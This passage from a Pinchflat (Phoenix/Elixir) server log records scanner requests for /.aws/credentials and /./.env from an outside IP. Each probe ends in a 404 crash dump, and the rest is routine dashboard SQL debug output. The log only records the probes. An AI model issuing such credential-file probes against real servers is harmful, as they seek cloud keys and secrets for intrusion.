"sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9891.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDEG0wfyDfWBwAAIxD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9890.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45780}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9890.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45780}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-sch (truncated) 15:22:45.256 [info] GET /./.env 15:22:45.256 [debug] QUERY OK source="settings" db=0.0ms idle=173.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.256 [debug] QUERY OK source="settings" db=0.0ms idle=105.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.256 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:45.256 [error] #PID<0.9893.0> running PinchflatWeb.Endpoint (connection #PID<0.9892.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /./.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /./ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/./.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45788}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9893.0>, params: %{}, path_info: [".", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/./.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDEHNbAvkUC-AAAeeC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/./.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45788}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /./ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/./.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45788}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9893.0>, params: %{}, path_info: [".", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => # (truncated) 15:22:51.251 [info] HEAD / 15:22:51.251 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:22:51.251 [debug] QUERY OK source="settings" db=0.0ms idle=679.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:51.251 [debug] QUERY OK source="media_profiles" db=0.0ms idle=312.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:22:51.251 [debug] QUERY OK source="sources" db=0.0ms idle=312.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:22:51.252 [debug] QUERY OK source="media_items" db=0.8ms idle=312.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:51.252 [debug] QUERY OK source="media_items" db=0.3ms idle=313.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:51.253 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:51.253 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:51.253 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:51.253 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:51.254 [debug] QUERY OK source="media_items" db=0.5ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:51.254 [debug] QUERY OK source="sources" db=0.1ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:51.257 [debug] QUERY OK source="media_items" db=2.3ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:51.259 [debug] QUERY OK source="media_items" db=1.9ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:51.260 [debug] QUERY OK source="tasks" db=0.0ms idle=6.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:51.260 [info] Sent 200 in 9ms 15:22:53.351 [info] GET / 15:22:53.352 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:22:53.352 [debug] QUERY OK source="settings" db=0.0ms idle=777.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:53.352 [debug] QUERY OK source="media_profiles" db=0.0ms idle=413.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:22:53.352 [debug] QUERY OK source="sources" db=0.0ms idle=413.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:22:53.352 [debug] QUERY OK source="media_items" db=0.5ms idle=413.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:53.353 [debug] QUERY OK source="media_items" db=0.1ms idle=414.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:53.353 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:53.353 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:53.353 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:53.354 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:53.354 [debug] QUERY OK source="media_items" db=0.3ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:53.354 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:53.356 [debug] QUERY OK source="media_items" db=1.2ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:53.357 [debug] QUERY OK source="media_items" db=1.3ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:53.358 [debug] QUERY OK source="tasks" db=0.0ms idle=3.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:53.358 [info] Sent 200 in 6ms 15:22:54.797 [info] CONNECTED TO Phoenix.LiveView.Socket in 14µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "UV8qWDMuNQwEQFZoNQUdLkRYUgsXOHBXc-DnIjAxE98_b3gY-a6lrZ4-", "_live_referer" => "undefined", 